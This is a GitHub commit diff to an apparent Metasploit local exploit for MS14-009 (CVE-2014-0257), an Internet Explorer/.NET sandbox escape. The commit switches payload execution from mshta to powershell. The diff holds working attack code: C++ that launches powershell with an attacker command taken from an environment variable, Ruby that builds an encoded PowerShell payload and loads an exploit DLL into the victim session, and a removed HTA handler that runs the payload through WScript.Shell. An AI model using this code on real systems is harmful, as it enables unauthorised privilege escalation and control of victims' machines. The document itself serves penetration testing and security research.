Skip to content

Commit 8d111ca

Browse files
committed
Use powershell instead of mshta
2 parents 7f4702b + 443f9f1 commit 8d111ca

File tree

3 files changed

+22
-45
lines changed

3 files changed

+22
-45
lines changed
0 Bytes
Binary file not shown.

external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.cpp

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -165,8 +165,8 @@ void DoDfsvcExploit()
165165
{
166166
std::vector<variant_t> startArgs;
167167

168-
startArgs.push_back(L"mshta");
169-
startArgs.push_back(GetEnv(L"MYURL"));
168+
startArgs.push_back(L"powershell");
169+
startArgs.push_back(GetEnv(L"PSHCMD"));
170170

171171
ExecuteMethod<mscorlib::_ObjectPtr>(startMethod, startArgs);
172172
}

modules/exploits/windows/local/ms14_009_ie_dfsvc.rb

Lines changed: 20 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Local
1313

1414
include Msf::Exploit::Powershell
1515
include Msf::Exploit::EXE
16-
include Msf::Exploit::Remote::HttpServer
1716
include Msf::Post::Windows::Priv
1817
include Msf::Post::Windows::FileInfo
1918
include Msf::Post::File
@@ -47,12 +46,15 @@ def initialize(info={})
4746
],
4847
'Platform' => [ 'win' ],
4948
'SessionTypes' => [ 'meterpreter' ],
50-
'Stance' => Msf::Exploit::Stance::Aggressive,
5149
'Targets' =>
5250
[
5351
[ 'IE 8 - 11', { } ]
5452
],
5553
'DefaultTarget' => 0,
54+
'DefaultOptions' =>
55+
{
56+
'WfsDelay' => 30
57+
},
5658
'DisclosureDate'=> "Feb 11 2014",
5759
'References' =>
5860
[
@@ -62,11 +64,6 @@ def initialize(info={})
6264
['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
6365
]
6466
))
65-
66-
register_options(
67-
[
68-
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
69-
])
7067
end
7168

7269
def check
@@ -153,12 +150,20 @@ def exploit
153150

154151
print_good(".NET looks vulnerable, exploiting...")
155152

156-
begin
157-
Timeout.timeout(datastore['DELAY']) { super }
158-
rescue Timeout::Error
159-
end
153+
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
154+
session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd)
155+
156+
temp = get_env('TEMP')
160157

161-
session.railgun.kernel32.SetEnvironmentVariableA("MYURL", nil)
158+
print_status("Loading Exploit Library...")
159+
160+
session.core.load_library(
161+
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0257", "CVE-2014-0257.dll"),
162+
'TargetFilePath' => temp + "\\CVE-2014-0257.dll",
163+
'UploadLibrary' => true,
164+
'Extension' => false,
165+
'SaveToDisk' => false
166+
)
162167
end
163168

164169
def valid_mscorlib_version?(net_version, mscorlib_version)
@@ -183,37 +188,9 @@ def valid_mscorlib_version?(net_version, mscorlib_version)
183188
valid
184189
end
185190

186-
def primer
187-
exploit_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.hta"
188-
session.railgun.kernel32.SetEnvironmentVariableA("MYURL", exploit_uri)
189-
190-
temp = get_env('TEMP')
191-
192-
print_status("Loading Exploit Library...")
193-
194-
session.core.load_library(
195-
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0257", "CVE-2014-0257.dll"),
196-
'TargetFilePath' => temp + "\\CVE-2014-0257.dll",
197-
'UploadLibrary' => true,
198-
'Extension' => false,
199-
'SaveToDisk' => false
200-
)
201-
end
202-
203-
def on_request_uri(cli, request)
204-
if request.uri =~ /\.hta$/
205-
print_status("Sending hta...")
206-
hta = <<-eos
207-
<script>
208-
var command = "#{cmd_psh_payload(payload.encoded).strip}";
209-
var shell = new ActiveXObject("WScript.Shell");
210-
shell.Run(command);
211-
</script>
212-
eos
213-
send_response(cli, hta, {'Content-Type'=>'application/hta'})
214-
else
215-
send_not_found(cli)
216-
end
191+
def cleanup
192+
session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil)
193+
super
217194
end
218195

219196
end

0 commit comments

Comments
 (0)